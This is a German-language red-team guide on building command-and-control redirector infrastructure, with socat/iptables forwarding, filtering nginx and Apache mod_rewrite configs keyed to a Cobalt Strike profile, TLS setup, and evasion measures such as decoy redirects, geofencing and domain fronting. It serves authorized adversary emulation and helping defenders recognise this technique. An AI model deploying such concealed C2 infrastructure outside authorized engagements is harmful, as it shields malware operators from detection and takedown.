Was macht C2-Redirector-Infrastruktur aufbauen?
Nur für autorisierte Nutzung: Diese Fähigkeit ist ausschließlich für autorisierte Red-Team-Einsätze, Adversary-Emulation-Übungen und defensive Forschung bestimmt. Command-and-Control-Infrastruktur ist ein Werkzeug mit doppeltem Verwendungszweck; der Einsatz von Redirectoren zur Kontrolle von Malware auf Systemen, für die Sie keine ausdrückliche Berechtigung zum Testen haben, ist illegal. Handeln Sie nur innerhalb eines vereinbarten Rahmens mit einem unterschriebenen Rules-of-Engagement-Dokument und bauen Sie die Infrastruktur nach Ende des Einsatzes ab.
Überblick
Ein C2-Redirector ist ein zwischengeschalteter Host, der zwischen Opfer-Implants und dem eigentlichen Team-Server sitzt. Beacons verbinden sich mit der öffentlichen Domain/IP des Redirectors; der Redirector prüft jede Anfrage und leitet entweder legitimen C2-Traffic zurück zum versteckten Team-Server oder lenkt alles andere (Scanner, Blue-Team-Analysten, Sandboxes) auf eine harmlose Tarn-Website um. Dies schützt den Team-Server vor Entdeckung, Abschaltung und Attribution und ermöglicht es Betreibern, die öffentliche Kante zu wechseln, ohne das Backend neu aufbauen zu müssen. Die Technik ist MITRE ATT&CK T1090.002 (Proxy: Externer Proxy) zugeordnet – Angreifer leiten C2 über einen zwischengeschalteten Knoten, um die wahre Herkunft zu verschleiern.
Redirectoren gibt es in zwei Varianten. Dumb Pipes (socat, iptables NAT) leiten blind einen Port weiter und bieten Trennung, aber keine Filterung. Smarte/filternde Redirectoren (nginx proxy_pass, Apache mod_rewrite mit [P] oder speziell entwickelte Tools wie RedWarden) analysieren HTTP-Anfragen und leiten nur Traffic weiter, der zum Malleable-C2-Profil des Implants passt – korrekter URI, User-Agent, Header – während alles andere einen 302 auf eine echte Website erhält. Die Filterlogik wird direkt aus dem Verkehrsprofil des C2-Frameworks abgeleitet, daher müssen beide synchron bleiben. Tools wie cs2modrewrite automatisieren die Erstellung von Apache/nginx-Regeln aus einem Cobalt-Strike-Malleable-C2-Profil.
Diese Fähigkeit behandelt den Aufbau von Dumb-Pipe- und filternden Redirectoren mit nginx und Apache, die Ableitung von Filterregeln aus einem Malleable-Profil, das Aufschichten von TLS mit Let's Encrypt und die Anwendung von OPSEC-Kontrollen (kategorisierte Domains, Domain Fronting/CDN-Fronting, Header-Validierung, Geo/UA-Filterung) für eine widerstandsfähige Infrastruktur mit geringer Attribution.
Wann verwenden
- Aufbau eines Red-Team-C2, das Blue-Team-Triage und Domain-Takedown-Anfragen überstehen muss.
- Trennen eines versteckten Team-Servers von jedem internetzugänglichen Host während eines Einsatzes.
- Filtern von Implant-Traffic, sodass nur profilkonforme Anfragen das Backend erreichen, Scanner werden abgelenkt.
- Hinzufügen von TLS-Terminierung, Domain-Kategorisierung und CDN/Domain-Fronting zu einem HTTP(S)-Listener.
- Verteidigern vermitteln, wie External-Proxy-C2 (T1090.002) aufgebaut ist, damit sie es erkennen können.
Voraussetzungen
- Ein oder mehrere austauschbare Cloud-VPS-Instanzen (die Redirector-Kante) und ein separater, firewalled Team-Server-Host.
- Eine registrierte Domain mit kontrollierbarem DNS, idealerweise gealtert/kategorisiert.
- Root-Zugriff auf den Redirector-Host. Webserver und TLS-Tooling installieren:
# Debian/Ubuntu Redirector sudo apt update sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git # Apache-Proxy-Module aktivieren, falls mod_rewrite-Redirector verwendet wird sudo a2enmod rewrite proxy proxy_http ssl headers - Das Malleable-C2-Profil des C2-Frameworks (Cobalt Strike
.profile, Sliver/Havoc HTTP-Profil), das URIs, User-Agent und Header definiert. cs2modrewritezur automatischen Generierung von Regeln aus einem Cobalt-Strike-Profil:git clone https://github.com/threatexpress/cs2modrewrite- Firewalling des Team-Servers, sodass er nur die Quell-IP des Redirectors auf dem C2-Port akzeptiert.
Ziele
- Bereitstellen eines Dumb-Pipe-Redirectors (socat/iptables) für schnelle Port-Trennung.
- Bereitstellen eines filternden nginx-Reverse-Proxy-Redirectors, der auf ein Malleable-Profil abgestimmt ist.
- Bereitstellen eines Apache-
mod_rewrite-Redirectors mit[P]-Proxy und302-Tarn-Fallback. - Automatisches Generieren von Redirector-Regeln aus einem Cobalt-Strike-Profil mit
cs2modrewrite. - TLS-Terminierung mit Let's Encrypt und Härten der öffentlichen Kante.
- Anwenden von OPSEC: Header/UA-Validierung, Geo-Filterung, Tarn-Umleitung und Infrastruktur-Rotation.
MITRE ATT&CK Mapping
| Technik-ID | Offizieller Name | Relevanz |
|---|---|---|
| T1090.002 | Proxy: Externer Proxy | Der Redirector ist ein externer Vermittler, der C2 weiterleitet, um den Team-Server zu verstecken |
| T1090.004 | Proxy: Domain Fronting | CDN-Fronting leitet Beacon-Traffic über eine vertrauenswürdige Domain mit hohem Ruf |
| T1071.001 | Application-Layer-Protokoll: Web-Protokolle | C2 wird über HTTP/HTTPS getunnelt, geformt durch das Malleable-Profil |
| T1573.002 | Verschlüsselter Kanal: Asymmetrische Kryptographie | TLS-Terminierung am Redirector verschlüsselt den Beacon-Kanal |
| T1583.006 | Infrastruktur beschaffen: Webdienste | Austauschbare VPS/CDN-Kanten werden für widerstandsfähiges C2 beschafft |
Arbeitsablauf
1. Team-Server isolieren und mit Firewall schützen
Platzieren Sie den Team-Server auf einem privaten Host. Beschränken Sie seinen C2-Port auf die IP des Redirectors.
# Auf dem Team-Server: nur der Redirector (203.0.113.10) darf 443/tcp erreichen
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable
2. Dumb-Pipe-Redirector (socat / iptables)
Für schnelle Trennung ohne Filterung den C2-Port an den Team-Server weiterleiten.
# socat-Vordergrund-Weiterleitung von 443 -> Team-Server
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443
# Oder iptables DNAT (dauerhaft)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE
3. Filternder nginx-Reverse-Proxy-Redirector
Nur Anfragen weiterleiten, deren URI zum Malleable-Profil passt; alles andere mit einem 302 auf eine Tarn-Website umleiten. Ersetzen Sie den Location-Regex und User-Agent durch Werte aus Ihrem Profil.
# /etc/nginx/sites-available/redirector.conf
server {
listen 443 ssl;
server_name cdn.example.com;
ssl_certificate /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;
# Nur profilkonforme C2-URIs zum versteckten Team-Server weiterleiten
location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
# Exakten User-Agent des Implantats verlangen
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
return 302 https://www.legitimate-decoy.com/;
}
proxy_pass https://10.0.0.2;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# Alles andere -> harmlose Tarn-Website
location / {
return 302 https://www.legitimate-decoy.com/;
}
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
4. Apache-mod_rewrite-Redirector
Das [P]-Flag von Apache leitet passende Anfragen an den Team-Server weiter; nicht passende erhalten eine 302-Weiterleitung. Dies ist das Format, das cs2modrewrite erzeugt.
# /etc/apache2/sites-available/redirector.conf (innerhalb von <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# User-Agent des Implantats verlangen
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Gültige C2-URIs (GET/POST/Stager) aus dem Malleable-Profil abgleichen
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Zum versteckten Team-Server weiterleiten, URI beibehalten
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Alles andere -> Tarn-Website
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2
5. Regeln aus einem Malleable-Profil generieren
Lassen Sie cs2modrewrite die Apache- oder nginx-Regeln direkt aus Ihrem Cobalt-Strike-Profil erstellen, sodass der Filter exakt mit Beacon-Traffic übereinstimmt.
cd cs2modrewrite
# Apache-mod_rewrite-Regeln
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx-Konfiguration
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf
6. TLS-Terminierung mit Let's Encrypt
Stellen Sie ein gültiges Zertifikat aus, damit Beacon-HTTPS keine TLS-Warnungen auslöst und die Kante legitim aussieht.
sudo certbot --nginx -d cdn.example.com --agree-tos -m [email protected] --redirect
# Auto-Verlängerung prüfen
sudo certbot renew --dry-run
7. OPSEC-Kontrollen anwenden
Schichten Sie Verteidigungsmaßnahmen gegen Blue-Team-Analysen: Header validieren, Geofencing auf das Zielland anwenden, Sandboxes umleiten und Kanten rotieren. Ziehen Sie CDN/Domain-Fronting (T1090.004) in Betracht, wo unterstützt.
# Beispiel: Nicht-Ziel-Geografien in der Firewall mit ipset/GeoIP ablegen,
# einen benutzerdefinierten Auth-Header im Profil verlangen und die Redirector-
# Domain/IP nach einem Zeitplan rotieren. Prüfen, dass der Redirector nur passenden Traffic weiterleitet:
curl -k https://cdn.example.com/ # erwartet 302 auf Tarn-Website
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
https://cdn.example.com/api/v2/jobs # erwartet weitergeleitete Antwort
Tools und Ressourcen
| Tool | Zweck | Quelle |
|---|---|---|
| nginx | Filternder Reverse-Proxy-Redirector | https://nginx.org/ |
| Apache mod_rewrite | [P]-Proxy + 302-Tarn-Redirector | https://httpd.apache.org/docs/current/mod/mod_rewrite.html |
| cs2modrewrite | Apache/nginx-Regeln aus CS-Profil generieren | https://github.com/threatexpress/cs2modrewrite |
| RedWarden | Malleable-bewusster filternder C2-Reverse-Proxy | https://github.com/mgeeky/RedWarden |
| redi | Automatisierter nginx + Let's Encrypt CS-Redirector | https://github.com/taherio/redi |
| socat | Dumb-Pipe-TCP-Weiterleitung | http://www.dest-unreach.org/socat/ |
| Let's Encrypt / certbot | Kostenlose TLS-Zertifikate | https://certbot.eff.org/ |
| ired.team | Referenz für Red-Team-Infrastruktur | https://www.ired.team/offensive-security/red-team-infrastructure |
Validierungskriterien
- Team-Server so gefirewallt, dass er nur die Redirector-Quell-IP auf dem C2-Port akzeptiert.
- Redirector bereitgestellt (Dumb Pipe und/oder filternder Reverse-Proxy).
- Filterregeln aus dem tatsächlichen Malleable-C2-Profil abgeleitet (URI + User-Agent + Header).
- Nicht übereinstimmende Anfragen geben einen
302auf eine harmlose Tarn-Website zurück (mit curl verifiziert). - Übereinstimmende Beacon-Anfragen werden zum versteckten Team-Server weitergeleitet (mit curl verifiziert).
- Gültiges TLS-Zertifikat ausgestellt und Auto-Verlängerung bestätigt.
- OPSEC-Kontrollen angewendet (UA/Header-Validierung, Geofencing, Tarn-Umleitung).
- Domain-Kategorisierung / CDN-Fronting, wo anwendbar, berücksichtigt.
- Plan für Infrastruktur-Rotation und -Abbau dokumentiert.
- Alle Aktivitäten auf den autorisierten Einsatzumfang beschränkt.